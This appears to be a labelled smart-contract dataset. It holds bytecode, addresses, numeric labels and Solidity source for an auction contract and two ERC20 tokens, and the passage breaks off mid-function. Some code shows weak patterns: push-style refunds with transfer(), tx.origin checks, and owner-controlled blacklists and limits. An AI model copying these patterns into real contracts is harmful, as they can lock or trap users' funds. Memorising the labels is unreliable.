0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146103fe578063a9059cbb1461042a578063aa271e1a14610456578063dd62ed3e1461047c578063f2653986146104aa578063f2fde38b146104b257610158565b806370a082311461036e578063715018a61461039457806379cc67901461039c5780638da5cb5b146103c857806395d89b41146103d0578063983b2d56146103d857610158565b80632ff2e9dc116101155780632ff2e9dc14610298578063313ce567146102a057806339509351146102be57806340c10f19146102ea57806342966c68146103185780635b7121f81461033557610158565b80630323aac71461015d57806306fdde0314610177578063095ea7b3146101f457806318160ddd1461023457806323338b881461023c57806323b872dd14610262575b600080fd5b6101656104d8565b60408051918252519081900360200190f35b61017f6104e9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b95781810151838201526020016101a1565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102206004803603604081101561020a57600080fd5b506001600160a01b03813516906020013561057f565b604080519115158252519081900360200190f35b61016561059d565b6102206004803603602081101561025257600080fd5b50356001600160a01b03166105a3565b6102206004803603606081101561027857600080fd5b506001600160a01b0381358116916020810135909116906040013561066d565b6101656106fa565b6102a8610709565b6040805160ff9092168252519081900360200190f35b610220600480360360408110156102d457600080fd5b506001600160a01b038135169060200135610712565b6103166004803603604081101561030057600080fd5b506001600160a01b038135169060200135610766565b005b6103166004803603602081101561032e57600080fd5b503561083c565b6103526004803603602081101561034b57600080fd5b5035610850565b604080516001600160a01b039092168252519081900360200190f35b6101656004803603602081101561038457600080fd5b50356001600160a01b0316610914565b61031661092f565b610316600480360360408110156103b257600080fd5b506001600160a01b0381351690602001356109e1565b610352610a41565b61017f610a55565b610220600480360360208110156103ee57600080fd5b50356001600160a01b0316610ab6565b6102206004803603604081101561041457600080fd5b506001600160a01b038135169060200135610b80565b6102206004803603604081101561044057600080fd5b506001600160a01b038135169060200135610bee565b6102206004803603602081101561046c57600080fd5b50356001600160a01b0316610c02565b6101656004803603604081101561049257600080fd5b506001600160a01b0381358116916020013516610c0f565b610165610c3a565b610316600480360360208110156104c857600080fd5b50356001600160a01b0316610c49565b60006104e46006610d57565b905090565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105755780601f1061054a57610100808354040283529160200191610575565b820191906000526020600020905b81548152906001019060200180831161055857829003601f168201915b5050505050905090565b600061059361058c610d62565b8484610d66565b5060015b92915050565b60025490565b60006105ad610d62565b6001600160a01b03166105be610a41565b6001600160a01b031614610607576040805162461bcd60e51b815260206004820181905260248201526000805160206115eb833981519152604482015290519081900360640190fd5b6001600160a01b038216610662576040805162461bcd60e51b815260206004820152601e60248201527f5f64656c4d696e74657220697320746865207a65726f20616464726573730000604482015290519081900360640190fd5b610597600683610e52565b600061067a848484610e6e565b6106f084610686610d62565b6106eb856040518060600160405280602881526020016115c3602891396001600160a01b038a166000908152600160205260408120906106c4610d62565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610fd516565b610d66565b5060019392505050565b6a0422ca8b0a00a42500000081565b60055460ff1690565b600061059361071f610d62565b846106eb8560016000610730610d62565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61106c16565b61076f33610c02565b6107c0576040805162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206d696e7465720000000000000000604482015290519081900360640190fd5b6008546107db826107cf61059d565b9063ffffffff61106c16565b111561082e576040805162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a2063617020657863656564656400000000000000604482015290519081900360640190fd5b61083882826110c6565b5050565b61084d610847610d62565b826111c2565b50565b600061085a610d62565b6001600160a01b031661086b610a41565b6001600160a01b0316146108b4576040805162461bcd60e51b815260206004820181905260248201526000805160206115eb833981519152604482015290519081900360640190fd5b60016108be6104d8565b03821115610909576040805162461bcd60e51b8152602060048201526013602482015272696e646578206f7574206f6620626f756e647360681b604482015290519081900360640190fd5b6105976006836112ca565b6001600160a01b031660009081526020819052604090205490565b610937610d62565b6001600160a01b0316610948610a41565b6001600160a01b031614610991576040805162461bcd60e51b815260206004820181905260248201526000805160206115eb833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b6000610a1e8260405180606001604052806024815260200161160b60249139610a1186610a0c610d62565b610c0f565b919063ffffffff610fd516565b9050610a3283610a2c610d62565b83610d66565b610a3c83836111c2565b505050565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105755780601f1061054a57610100808354040283529160200191610575565b6000610ac0610d62565b6001600160a01b0316610ad1610a41565b6001600160a01b031614610b1a576040805162461bcd60e51b815260206004820181905260248201526000805160206115eb833981519152604482015290519081900360640190fd5b6001600160a01b038216610b75576040805162461bcd60e51b815260206004820152601f60248201527f205f6164644d696e74657220697320746865207a65726f206164647265737300604482015290519081900360640190fd5b6105976006836112d6565b6000610593610b8d610d62565b846106eb856040518060600160405280602581526020016116996025913960016000610bb7610d62565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610fd516565b6000610593610bfb610d62565b8484610e6e565b60006105976006836112eb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6a52b7d2dcc80cd2e400000081565b610c51610d62565b6001600160a01b0316610c62610a41565b6001600160a01b031614610cab576040805162461bcd60e51b815260206004820181905260248201526000805160206115eb833981519152604482015290519081900360640190fd5b6001600160a01b038116610cf05760405162461bcd60e51b81526004018080602001828103825260268152602001806115556026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600061059782611300565b3390565b6001600160a01b038316610dab5760405162461bcd60e51b81526004018080602001828103825260248152602001806116756024913960400191505060405180910390fd5b6001600160a01b038216610df05760405162461bcd60e51b815260040180806020018281038252602281526020018061157b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610e67836001600160a01b038416611304565b9392505050565b6001600160a01b038316610eb35760405162461bcd60e51b81526004018080602001828103825260258152602001806116506025913960400191505060405180910390fd5b6001600160a01b038216610ef85760405162461bcd60e51b81526004018080602001828103825260238152602001806115106023913960400191505060405180910390fd5b610f03838383610a3c565b610f468160405180606001604052806026815260200161159d602691396001600160a01b038616600090815260208190526040902054919063ffffffff610fd516565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f7b908263ffffffff61106c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110645760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611029578181015183820152602001611011565b50505050905090810190601f1680156110565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610e67576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b038216611121576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61112d60008383610a3c565b600254611140908263ffffffff61106c16565b6002556001600160a01b03821660009081526020819052604090205461116c908263ffffffff61106c16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166112075760405162461bcd60e51b815260040180806020018281038252602181526020018061162f6021913960400191505060405180910390fd5b61121382600083610a3c565b61125681604051806060016040528060228152602001611533602291396001600160a01b038516600090815260208190526040902054919063ffffffff610fd516565b6001600160a01b038316600090815260208190526040902055600254611282908263ffffffff6113ca16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610e678383611427565b6000610e67836001600160a01b03841661148b565b6000610e67836001600160a01b0384166114d5565b5490565b600081815260018301602052604081205480156113c0578354600019808301919081019060009087908390811061133757fe5b906000526020600020015490508087600001848154811061135457fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061138457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610597565b6000915050610597565b600082821115611421576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b815460009082106114695760405162461bcd60e51b81526004018080602001828103825260228152602001806114ee6022913960400191505060405180910390fd5b82600001828154811061147857fe5b9060005260206000200154905092915050565b600061149783836114d5565b6114cd57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610597565b506000610597565b6000908152600191909101602052604090205415159056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122021da0e37c26229a19108d5880dac5718eb15d5f0b7a0ba2171611d924a34be4364736f6c63430006020033
[ 38 ]
0xF279E74c74D177689aC2b99B9d8d85715375Cd99
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC1155 { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; } contract EnglishAuction { using SafeMath for uint256; // System settings uint256 public id; address public token; bool public ended = false; // Current winning bid uint256 public lastBid; address payable public winning; uint256 public length; uint256 public startTime; uint256 public endTime; address payable public haus; address payable public seller; event Bid(address who, uint256 amount); event Won(address who, uint256 amount); constructor(uint256 _id, uint256 _startTime) public { token = address(0x13bAb10a88fc5F6c77b87878d71c9F1707D2688A); id = _id; startTime = _startTime; length = 24 hours; endTime = startTime + length; lastBid = 0.25 ether; seller = payable(address(0x15884D7a5567725E0306A90262ee120aD8452d58)); haus = payable(address(0x15884D7a5567725E0306A90262ee120aD8452d58)); } function bid() public payable { require(msg.sender == tx.origin, "no contracts"); require(block.timestamp >= startTime, "Auction not started"); require(block.timestamp < endTime, "Auction ended"); require(msg.value >= lastBid.mul(110).div(100), "Bid too small"); // 10% increase // Give back the last bidders money if (winning != address(0)) { winning.transfer(lastBid); } if (endTime - now < 15 minutes) { endTime = now + 15 minutes; } lastBid = msg.value; winning = msg.sender; emit Bid(msg.sender, msg.value); } function end() public { require(!ended, "end already called"); require(winning != address(0), "no bids"); require(!live(), "Auction live"); // transfer erc1155 to winner IERC1155(token).safeTransferFrom(address(this), winning, id, 1, new bytes(0x0)); uint256 balance = address(this).balance; uint256 hausFee = balance.div(20).mul(3); haus.transfer(hausFee); seller.transfer(address(this).balance); ended = true; emit Won(winning, lastBid); } function pull() public { require(!ended, "end already called"); require(winning == address(0), "There were bids"); require(!live(), "Auction live"); // transfer erc1155 to seller IERC1155(token).safeTransferFrom(address(this), seller, id, 1, new bytes(0x0)); ended = true; } function live() public view returns(bool) { return block.timestamp < endTime; } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } }
0x6080604052600436106100e85760003560e01c806378e979251161008a578063dd6b8e7611610059578063dd6b8e76146102c1578063efbe1c1c14610302578063f23a6e6114610319578063fc0c546a14610426576100e8565b806378e97925146101fd578063853a1b9014610228578063957aa58c14610269578063af640d0f14610296576100e8565b80631f7b6d32116100c65780631f7b6d32146101655780633197cbb614610190578063329eb839146101bb5780635e3d3957146101d2576100e8565b806308551a53146100ed57806312fa6feb1461012e5780631998aeef1461015b575b600080fd5b3480156100f957600080fd5b50610102610467565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013a57600080fd5b5061014361048d565b60405180821515815260200191505060405180910390f35b6101636104a0565b005b34801561017157600080fd5b5061017a610849565b6040518082815260200191505060405180910390f35b34801561019c57600080fd5b506101a561084f565b6040518082815260200191505060405180910390f35b3480156101c757600080fd5b506101d0610855565b005b3480156101de57600080fd5b506101e7610be1565b6040518082815260200191505060405180910390f35b34801561020957600080fd5b50610212610be7565b6040518082815260200191505060405180910390f35b34801561023457600080fd5b5061023d610bed565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027557600080fd5b5061027e610c13565b60405180821515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610c1f565b6040518082815260200191505060405180910390f35b3480156102cd57600080fd5b506102d6610c25565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610c4b565b005b34801561032557600080fd5b506103f1600480360360a081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460018302840111640100000000831117156103e157600080fd5b9091929391929390505050611155565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561043257600080fd5b5061043b611184565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff1681565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f6e6f20636f6e747261637473000000000000000000000000000000000000000081525060200191505060405180910390fd5b6005544210156105b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f41756374696f6e206e6f7420737461727465640000000000000000000000000081525060200191505060405180910390fd5b6006544210610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f41756374696f6e20656e6465640000000000000000000000000000000000000081525060200191505060405180910390fd5b610659606461064b606e6002546111aa90919063ffffffff16565b61123090919063ffffffff16565b3410156106ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f42696420746f6f20736d616c6c0000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015801561078e573d6000803e3d6000fd5b505b610384426006540310156107aa5761038442016006819055505b3460028190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe684a55f31b79eca403df938249029212a5925ec6be8012e099b45bc1019e5d23334604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b60045481565b60065481565b600160149054906101000a900460ff16156108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f656e6420616c72656164792063616c6c6564000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f546865726520776572652062696473000000000000000000000000000000000081525060200191505060405180910390fd5b6109a4610c13565b15610a17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f41756374696f6e206c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000546001600067ffffffffffffffff81118015610a9657600080fd5b506040519080825280601f01601f191660200182016040528015610ac95781602001600182028036833780820191505090505b506040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b5d578082015181840152602081019050610b42565b50505050905090810190601f168015610b8a5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015610bad57600080fd5b505af1158015610bc1573d6000803e3d6000fd5b5050505060018060146101000a81548160ff021916908315150217905550565b60025481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006544210905090565b60005481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff1615610cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f656e6420616c72656164792063616c6c6564000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f6e6f20626964730000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610d9b610c13565b15610e0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f41756374696f6e206c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000546001600067ffffffffffffffff81118015610e8d57600080fd5b506040519080825280601f01601f191660200182016040528015610ec05781602001600182028036833780820191505090505b506040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f54578082015181840152602081019050610f39565b50505050905090810190601f168015610f815780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015610fa457600080fd5b505af1158015610fb8573d6000803e3d6000fd5b5050505060004790506000610fea6003610fdc60148561123090919063ffffffff16565b6111aa90919063ffffffff16565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611054573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156110bd573d6000803e3d6000fd5b5060018060146101000a81548160ff0219169083151502179055507f8b01f9dd0400d6a1e84369a5fb8f6033934856ffa8ebadd707dca302ab551695600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808314156111bd576000905061122a565b60008284029050828482816111ce57fe5b0414611225576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113416021913960400191505060405180910390fd5b809150505b92915050565b600061127283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127a565b905092915050565b60008083118290611326576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112eb5780820151818401526020810190506112d0565b50505050905090810190601f1680156113185780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161133257fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212209655e70e2fd633dda043cf56c2dba21bdc3b98da58b06420c7c38df49db8e5a764736f6c634300060c0033
[ 13, 4, 7 ]
0xf279ff664eaa5b6d5611040e93c482bdd91462f2
/** //SPDX-License-Identifier: UNLICENSED Genius Inu - GENIUS Telegram: https://t.me/GeniusInuPortal */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GENIUS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 11; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Genius Inu"; string private constant _symbol = "GENIUS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 20_000_000_000 * 10**9; uint256 private _maxWalletAmount = 30_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; 